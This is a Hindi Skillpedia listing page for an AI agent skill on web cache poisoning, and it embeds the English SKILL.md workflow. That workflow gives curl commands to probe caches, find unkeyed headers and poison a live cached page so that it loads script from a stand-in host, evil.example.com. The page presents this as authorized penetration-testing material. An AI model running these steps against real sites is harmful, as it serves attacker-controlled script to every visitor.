मुख्य सामग्री पर जाएँ
Skillpedia
एजेंट35k · #8335

performing-web-cache-poisoning-attack

यह क्या करती है

यह टूल वेबसाइट की 'मेमोरी' (कैश) के काम करने के तरीके को जाँचने में मदद करता है। अधिकृत सुरक्षा परीक्षणों के दौरान, यह इस मेमोरी में बदलाव करने देता है ताकि वेबसाइट कुछ समय के लिए दूसरे उपयोगकर्ताओं को खतरनाक सामग्री दिखा दे।

कब इस्तेमाल करें

  • ✓Cloudflare या Varnish जैसे कैशिंग सिस्टम वाली वेबसाइटों पर अधिकृत सुरक्षा परीक्षण के दौरान।
  • ✓यह जाँचने के लिए कि क्या वेबसाइट को सबको गलत जानकारी दिखाने के लिए धोखा दिया जा सकता है।
  • ✓यह आंकने के लिए कि वेबसाइट को भेजी गई अतिरिक्त जानकारी उसकी 'मेमोरी' में सेव होने वाली चीज़ों को प्रभावित करती है या नहीं।

Skill का लिंक

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-web-cache-poisoning-attack/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-web-cache-poisoning-attack/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“जाँचो कि क्या वेबसाइट को सामान्य लिंक की जगह खतरनाक लिंक दिखाने के लिए धोखा दिया जा सकता है।”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

यह टूल वेबसाइट को खास रिक्वेस्ट भेजता है। यह देखता है कि क्या अतिरिक्त जानकारी (headers), जो कैश में सेव नहीं होनी चाहिए, फिर भी शामिल हो जाती है। अगर ऐसा होता है, तो वेबसाइट किसी खतरनाक साइट का लिंक सेव कर सकती है।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

Performing Web Cache Poisoning Attack

When to Use

  • During authorized penetration tests when the application uses CDN or reverse proxy caching (Cloudflare, Akamai, Varnish, Nginx)
  • When assessing web applications for cache-based vulnerabilities that could affect all users
  • For testing whether unkeyed HTTP headers are reflected in cached responses
  • When evaluating cache key behavior and cache deception vulnerabilities
  • During security assessments of applications with aggressive caching policies

Prerequisites

  • Authorization: Written penetration testing agreement explicitly covering cache poisoning testing
  • Burp Suite Professional: With Param Miner extension for automated unkeyed header discovery
  • curl: For manual cache testing with precise header control
  • Target knowledge: Understanding of the caching layer (CDN provider, cache headers)
  • Cache buster: Unique query parameter to isolate test requests from other users
  • Caution: Cache poisoning affects all users; test with cache-busting parameters first

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: Identify the Caching Layer and Behavior

Determine what caching infrastructure is in use and how the cache key is constructed.

# Check cache-related response headers
curl -s -I "https://target.example.com/" | grep -iE \
  "(cache-control|x-cache|cf-cache|age|vary|x-varnish|x-served-by|cdn|via)"

# Common cache indicators:
# X-Cache: HIT / MISS
# CF-Cache-Status: HIT / MISS / DYNAMIC (Cloudflare)
# Age: 120 (seconds since cached)
# X-Varnish: 12345 67890 (Varnish)
# Via: 1.1 varnish (Varnish/CDN proxy)

# Determine cache key by testing variations
# Cache key typically includes: Host + Path + Query string

# Test 1: Same URL, two requests - check if second is cached
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
# First: MISS, Second: HIT = caching is active

# Test 2: Vary header behavior
curl -s -I "https://target.example.com/" | grep -i "vary"
# Vary: Accept-Encoding means Accept-Encoding is part of cache key

Step 2: Discover Unkeyed Inputs with Param Miner

Use Burp's Param Miner to find headers and parameters not included in the cache key but reflected in responses.

# In Burp Suite:
# 1. Install Param Miner from BApp Store
# 2. Right-click target request > Extensions > Param Miner > Guess headers
# 3. Param Miner will test hundreds of HTTP headers
# 4. Check results in Extender > Extensions > Param Miner > Output

# Common unkeyed headers to test manually:
# X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-Proto
# X-Original-URL, X-Rewrite-URL
# X-Host, X-Forwarded-Server
# Origin, Referer
# X-Forwarded-For, True-Client-IP
# Manual testing for unkeyed header reflection
# Add cache buster to isolate testing
CB="cachebuster=$(date +%s)"

# Test X-Forwarded-Host reflection
curl -s -H "X-Forwarded-Host: evil.example.com" \
  "https://target.example.com/?$CB" | grep "evil.example.com"

# Test X-Forwarded-Scheme
curl -s -H "X-Forwarded-Scheme: nothttps" \
  "https://target.example.com/?$CB" | grep "nothttps"

# Test X-Original-URL (path override)
curl -s -H "X-Original-URL: /admin" \
  "https://target.example.com/?$CB"

# Test X-Forwarded-Proto
curl -s -H "X-Forwarded-Proto: http" \
  "https://target.example.com/?$CB" | grep "http://"

Step 3: Exploit Unkeyed Header for Cache Poisoning

Craft requests that poison cached responses with malicious content.

# Scenario: X-Forwarded-Host reflected in resource URLs
# Normal response includes: <script src="https://target.example.com/app.js">
# Poisoned: <script src="https://evil.example.com/app.js">

# Step 1: Confirm reflection with cache buster
curl -s -H "X-Forwarded-Host: evil.example.com" \
  "https://target.example.com/?cb=unique123" | \
  grep "evil.example.com"

# Step 2: Poison the actual cached page (WITHOUT cache buster)
# WARNING: This affects all users - only do with explicit authorization
curl -s -H "X-Forwarded-Host: evil.example.com" \
  "https://target.example.com/"

# Step 3: Verify cache is poisoned
curl -s "https://target.example.com/" | grep "evil.example.com"

…
अक्सर पूछे जाने वाले सवाल

वेबसाइट का 'कैश' क्या है?

यह वेबसाइट की 'तेज़ मेमोरी' जैसा है। यह पेजों की कॉपी सेव करता है ताकि कोई दोबारा आए तो पेज जल्दी खुले। यह टूल जाँचता है कि क्या इस मेमोरी को धोखा दिया जा सकता है।

'unkeyed headers' क्या होते हैं?

ये रिक्वेस्ट के साथ भेजी जाने वाली अतिरिक्त जानकारी होती है। आम तौर पर कैश कॉपी सेव करने के लिए सिर्फ़ मुख्य पता देखता है। 'unkeyed headers' वे अतिरिक्त विवरण होते हैं जिन्हें कैश नहीं देखता, लेकिन वेबसाइट उनका इस्तेमाल अपना जवाब बदलने में कर सकती है।

क्या इससे मेरी वेबसाइट को नुकसान हो सकता है?

हाँ, अगर बिना अनुमति या जानकारी के इस्तेमाल हो। 'cache poisoning' से सभी विज़िटर खतरनाक सामग्री देख सकते हैं। इसलिए साफ़ अनुमति लेना और परीक्षण पैरामीटर से असर को अलग रखना बहुत ज़रूरी है।

जानकारी

लेखक का मूल विवरण

Exploiting web cache mechanisms to serve malicious content to other users by poisoning cached responses through unkeyed headers and parameters during authorized security tests.

repo: mukul975/Anthropic-Cybersecurity-Skills

लोकप्रियता

GitHub स्टार
35k
रैंकिंग में स्थान
#8335
लाइसेंस
Apache-2.0
अपडेट की गई
31/8/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

मिलती-जुलती skills